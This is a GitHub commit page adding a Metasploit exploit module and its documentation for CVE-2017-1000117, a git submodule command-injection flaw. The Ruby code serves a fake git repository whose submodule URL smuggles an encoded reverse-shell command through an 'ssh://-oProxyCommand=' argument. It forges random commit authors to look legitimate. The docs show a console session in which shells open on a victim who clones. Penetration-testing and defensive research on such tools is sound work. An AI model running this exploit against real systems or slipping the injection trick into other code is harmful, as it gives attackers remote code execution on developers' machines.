Skip to content

Commit 202c936

Browse files
author
Brent Cook
committed
Land rapid7#8826, git submodule remote command execution
2 parents d5124fd + 8928197 commit 202c936

File tree

2 files changed

+262
-0
lines changed

2 files changed

+262
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Vulnerable Application
2+
3+
Git can be installed on a variety of operating systems, however
4+
newer versions may contain the patch for this vulnerability.
5+
6+
On OSX it can be installed with the XCode command line tools:
7+
```xcode-select --install```
8+
9+
On Linux it can be installed with apt:
10+
```sudo apt-get update && sudo apt-get install git```
11+
12+
You can check the version with ```git --version```.
13+
The fix is included in the following version:
14+
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
15+
16+
## Verification Steps
17+
18+
Example steps in this format:
19+
20+
1. Install the application
21+
1. Start msfconsole
22+
1. Do: ```use exploit/multi/http/git_submodule_command_exec```
23+
1. Do: ```set SRVHOST [local host]```
24+
1. Do: ```set LHOST [local host]```
25+
1. Do: ```exploit```
26+
1. Clone the malicious Git URI and its submodules
27+
1. You should get a shell
28+
29+
## Options
30+
31+
**GIT_URI**
32+
33+
This is the URI the git repository will be hosted from (defaults to random).
34+
35+
**GIT_SUBMODULE**
36+
37+
This is the URI of the submodule within the git repository (defaults to random).
38+
The url of this submodule, when cloned, will execute the payload.
39+
40+
## Scenarios
41+
42+
Example usage against a macOS Sierra x64 bit target running git version 2.10.1
43+
44+
```
45+
msf > use exploit/multi/http/git_submodule_command_exec
46+
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
47+
SRVHOST => 192.168.0.1
48+
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
49+
LHOST => 192.168.0.1
50+
msf exploit(git_submodule_command_exec) > exploit
51+
[*] Exploit running as background job.
52+
53+
[*] Started reverse TCP handler on 192.168.0.1:4444
54+
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
55+
[*] Server started.
56+
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
57+
***
58+
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
59+
***
60+
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
61+
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
62+
```
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpServer
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
16+
'Description' => %q(
17+
This module exploits CVE-2017-1000117, which affects Git
18+
version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
19+
parameters from the username incorrectly. This can be used to inject
20+
commands to the operating system when the submodule is cloned.
21+
22+
This module creates a fake git repository which contains a submodule
23+
containing the vulnerability. The vulnerability is triggered when the
24+
submodules are initialised.
25+
),
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2017-1000117'],
30+
['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
31+
],
32+
'DisclosureDate' => 'Aug 10 2017',
33+
'Targets' =>
34+
[
35+
[
36+
'Automatic',
37+
{
38+
'Platform' => [ 'unix' ],
39+
'Arch' => ARCH_CMD,
40+
'Payload' =>
41+
{
42+
'Compat' =>
43+
{
44+
'PayloadType' => 'python'
45+
}
46+
}
47+
}
48+
]
49+
],
50+
'DefaultOptions' =>
51+
{
52+
'Payload' => 'cmd/unix/reverse_python'
53+
},
54+
'DefaultTarget' => 0
55+
)
56+
)
57+
58+
register_options(
59+
[
60+
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
61+
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
62+
]
63+
)
64+
end
65+
66+
def setup
67+
@repo_data = {
68+
git: { files: {} }
69+
}
70+
setup_git
71+
super
72+
end
73+
74+
def setup_git
75+
# URI must start with a /
76+
unless git_uri && git_uri =~ /^\//
77+
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
78+
end
79+
80+
payload_cmd = payload.encoded + " &"
81+
payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
82+
83+
submodule_path = datastore['GIT_SUBMODULE']
84+
if submodule_path.blank?
85+
submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
86+
end
87+
88+
gitmodules = "[submodule \"#{submodule_path}\"]
89+
path = #{submodule_path}
90+
url = ssh://-oProxyCommand=#{payload_cmd}/
91+
"
92+
sha1, content = build_object('blob', gitmodules)
93+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
94+
95+
tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
96+
tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
97+
sha1, content = build_object('tree', tree)
98+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
99+
100+
## build the supposed commit that dropped this file, which has a random user/company
101+
email = Rex::Text.rand_mail_address
102+
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
103+
full_name = "#{first.capitalize} #{last.capitalize}"
104+
tstamp = Time.now.to_i
105+
author_time = rand(tstamp)
106+
commit_time = rand(author_time)
107+
tz_off = rand(10)
108+
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
109+
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
110+
"\n" \
111+
"Initial commit to open git repository for #{company}!\n"
112+
113+
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
114+
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
115+
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
116+
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
117+
end
118+
119+
# Build's a Git object
120+
def build_object(type, content)
121+
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
122+
header = "#{type} #{content.size}\0"
123+
store = header + content
124+
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
125+
end
126+
127+
# Returns the Git object path name that a file with the provided SHA1 will reside in
128+
def get_path(sha1)
129+
sha1[0...2] + '/' + sha1[2..40]
130+
end
131+
132+
def exploit
133+
super
134+
end
135+
136+
def primer
137+
# add the git and mercurial URIs as necessary
138+
hardcoded_uripath(git_uri)
139+
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
140+
end
141+
142+
# handles routing any request to the mock git, mercurial or simple HTML as necessary
143+
def on_request_uri(cli, req)
144+
# if the URI is one of our repositories and the user-agent is that of git/mercurial
145+
# send back the appropriate data, otherwise just show the HTML version
146+
user_agent = req.headers['User-Agent']
147+
if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
148+
do_git(cli, req)
149+
return
150+
end
151+
152+
do_html(cli, req)
153+
end
154+
155+
# simulates a Git HTTP server
156+
def do_git(cli, req)
157+
# determine if the requested file is something we know how to serve from our
158+
# fake repository and send it if so
159+
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
160+
if @repo_data[:git][:files].key?(req_file)
161+
vprint_status("Sending Git #{req_file}")
162+
send_response(cli, @repo_data[:git][:files][req_file])
163+
else
164+
vprint_status("Git #{req_file} doesn't exist")
165+
send_not_found(cli)
166+
end
167+
end
168+
169+
# simulates an HTTP server with simple HTML content that lists the fake
170+
# repositories available for cloning
171+
def do_html(cli, _req)
172+
resp = create_response
173+
resp.body = <<HTML
174+
<html>
175+
<head><title>Public Repositories</title></head>
176+
<body>
177+
<p>Here are our public repositories:</p>
178+
<ul>
179+
HTML
180+
this_git_uri = URI.parse(get_uri).merge(git_uri)
181+
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
182+
resp.body << <<HTML
183+
</ul>
184+
</body>
185+
</html>
186+
HTML
187+
188+
cli.send_response(resp)
189+
end
190+
191+
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
192+
def git_uri
193+
return @git_uri if @git_uri
194+
if datastore['GIT_URI'].blank?
195+
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
196+
else
197+
@git_uri = datastore['GIT_URI']
198+
end
199+
end
200+
end

0 commit comments

Comments
 (0)